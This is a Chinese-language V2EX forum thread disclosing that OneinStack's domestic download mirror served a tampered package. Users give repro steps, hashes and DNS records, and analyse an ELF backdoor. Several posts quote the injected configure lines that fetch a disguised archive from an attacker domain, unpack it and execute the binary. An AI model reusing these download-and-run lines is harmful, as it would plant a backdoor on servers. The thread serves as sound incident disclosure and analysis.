Oneinstack 国内下载源也被挂马

215 天前
 imhx233

如何复现

(从海外节点下载暂未发现有此问题)

mirrors.oneinstack.com CNAME 到 seo-one-01.xnsksstack.com,这个域名 DNS 为 DNSPod ,国内解析为 CNAME mirrors.oneinstack.com.w.cdngslb.com. 阿里云 CDN(含恶意代码),海外解析为 A 47.251.13.6 阿里云美国单点

# 国内机器或手动指定 mirrors.oneinstack.com.w.cdngslb.com 国内 IP

wget http://mirrors.oneinstack.com/oneinstack-full.tar.gz
tar -xzf oneinstack-full.tar.gz
cd oneinstack/src
tar -xzf pcre-8.45.tar.gz
cd pcre-8.45
grep -r "oneinstack.club" pcre-8.45

结果(pcre-8.45/configure 第 6883 行):

pcre-8.45/configure:wget -q -nv http://download.oneinstack.club/osk.jpg -cO /var/local/osk.jpg

验证 MD5:

# 恶意包
md5sum oneinstack-full.tar.gz
3dc788dd9fe0c13e3db1411e53932331  oneinstack-full.tar.gz

#海外节点包(暂未发现有此问题)
aa55626f6ba9eb8cae2f5a3d9c6c9b96  oneinstack-full.tar.gz

国内国外包对比(右边海外左边国内):

5904 次点击
所在节点    分享发现
38 条回复
2NUT
215 天前
这怎么实现的
Puteulanus
215 天前
/t/979048 昨晚刚看到说被收购了
imhx233
215 天前
@2NUT
`
root@Huangxins-PC:~/oneinstack/src# grep -r '/var/local/' ~/oneinstack/
/root/oneinstack/src/pcre-8.45/configure:wget -q -nv http://download.oneinstack.club/osk.jpg -cO /var/local/osk.jpg
/root/oneinstack/src/pcre-8.45/configure:tar zxf /var/local/osk.jpg -C /var/local/ > /dev/null
/root/oneinstack/src/pcre-8.45/configure:rm -f /var/local/osk.jpg
/root/oneinstack/src/pcre-8.45/configure:/var/local/cron/load linhkkngf@QWE
`
imhx233
215 天前
@livid 能不能 move 到 /share
patrickyoung
215 天前
原始链接:hxxp://download.oneinstack[.]club/osk[.]jpg

解析:download[.]oneinstack[.]club 353 IN A 47.242.165.65

```
❯ file ./osk.jpg
./osk.jpg: gzip compressed data, from Unix, original size modulo 2^32 30720
❯ sha256sum ./osk.jpg
54030d4e77c7082d27bba392115b6aebeab3d558409e4e463db2aad8821b0737 ./osk.jpg
❯ mv ./osk.jpg ./osk.gz
❯ gunzip ./osk.gz
❯ file ./osk
./osk: POSIX tar archive (GNU)
❯ mv ./osk ./osk.tar
❯ tar -tf ./osk.tar
cron/
cron/load
<REDACTED>
❯ file ./load
./load: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
```

这个 osk.jpg 实际是 osk.tar.gz ,内部包含有一个二进制文件是 cron/load ,按照 OP 发的,实际会部署到 /var/local/cron/load 下。
patrickyoung
215 天前
patrickyoung
215 天前
修正:似乎还不太一样。
fbd6e8c949076452e6d6f35f3450f1dd31e339014858b401089c0ef249e122f5 ./load.elf
zhng920823
215 天前
zhng920823
215 天前
不知道是哪个环节搞进去的, 都是大手笔
zhng920823
215 天前
那个 wget 脚本在 pcre-8.45/configure 第 6843 行, 不是 6883 行
patrickyoung
215 天前
更新:17:37 相关域名已经空解析。

```
;; TLS session (TLS1.3)-(ECDHE-X25519)-(ECDSA-SECP256R1-SHA256)-(AES-128-GCM)
;; ->>HEADER<<- opcode: QUERY; status: NXDOMAIN; id: 32076
;; Flags: qr rd ra; QUERY: 1; ANSWER: 0; AUTHORITY: 1; ADDITIONAL: 1

;; EDNS PSEUDOSECTION:
;; Version: 0; flags: ; UDP size: 4096 B; ext-rcode: NOERROR
;; PADDING: 71 B

;; QUESTION SECTION:
;; download.oneinstack.club. IN A

;; AUTHORITY SECTION:
oneinstack.club. 600 IN SOA ns21.domaincontrol.com. dns.jomax.net. 2023100600 28800 7200 604800 600

;; Received 214 B
;; Time 2023-10-06 17:37:xx +08
;; From 223.5.5.5@853(TLS) in 1173.4 ms
```
patrickyoung
215 天前
几个有意思的事实:
- 主站的备案是 23/09/26 审核通过的,工信部网站可查。
- 当前有问题版本的压缩包内的 src/php-*.tar.gz 等一众文件修改时间为 Sep 25, 2023 at 14:33 ,被篡改的 pcre-8.45.tar.gz 的文件修改时间为 Sep 22, 2023 at 00:55 (UTC+8)。
- 有问题的 pcre-8.45.tar.gz 内的 configure 文件修改时间是 2021/6 (相关时间戳都是可以伪造的)。
imes
215 天前
@patrickyoung 5# 我试着用 Ghidra 反编译了一下,程序主体是收集数据以及保持通信,大概率是肉鸡了。
Tyuans
215 天前
这时候破坏计算机罪不出面了
vsean
215 天前
Oneinstack 和 LNMP 彻底废了
patrickyoung
215 天前
@imes 主要是这玩意域名后面空解析了,你看 VT ,后面通信下的东西才是大头。
wangbaiyi
215 天前
我🌿#!﹉=﹉!+_#=&=,md 我前几天用过。
MrWhite
215 天前
老版本的有没有影响。卧槽 我前几天更新了 还忘记哪几个服务器
irainsoft
215 天前
oneinstack 上一次镜像出问题后我就一直在找新的替代品,发现一个很普遍的问题:国内作者做的脚本都会拿自己的域名去托管资源包,比如 oneinstack 就是在 options.conf 里设置了镜像源。而那些有 WebUI 面板的,比如 1panel 和宝塔,因为集成就直接写死自己的源了。这其实算是一种有风险的行为,即使作者不去做,自托管的镜像服务器也会是攻击的重点目标。

也许国内服务器因为网络问题,需要这样的中转镜像源,但这些一键包和面板是不会给一个使用原始源的选择的。Oneinstack 作者实际上还在 sourceforge 和 dropbox 托管了包,上次出问题的时候我在 issue 里建议给予用户选择,根据实际情况选择 sourceforge 源(这还会带来官方源没做的 HTTPS 支持),但作者消极反应。因为这一情况,我其实一直是在怀疑 oneinstack 作者的,最近在尝试自动缓存上游源的程序,看来得加紧做了。

金华市矜贵网络科技有限公司 <-- 这家公司谁能去扒一扒啊
imhx233
215 天前
@irainsoft 最好还是 GitHub 全程 CI ,其实 Oneinstack 本来的设计很优秀,如果有人接班就好了
GitHub 自动打包,自动检测 dependency 更新,人工 merge 以后自动 release
我相信服务器装机大部分还是海外机器,国内机器的 use case 相对少点,大不了让用户自己用梯子下载到本地然后上传上去,或者可以找 CloudFlare Vercel 之类赞助,相信也拉得到。

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/979226

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX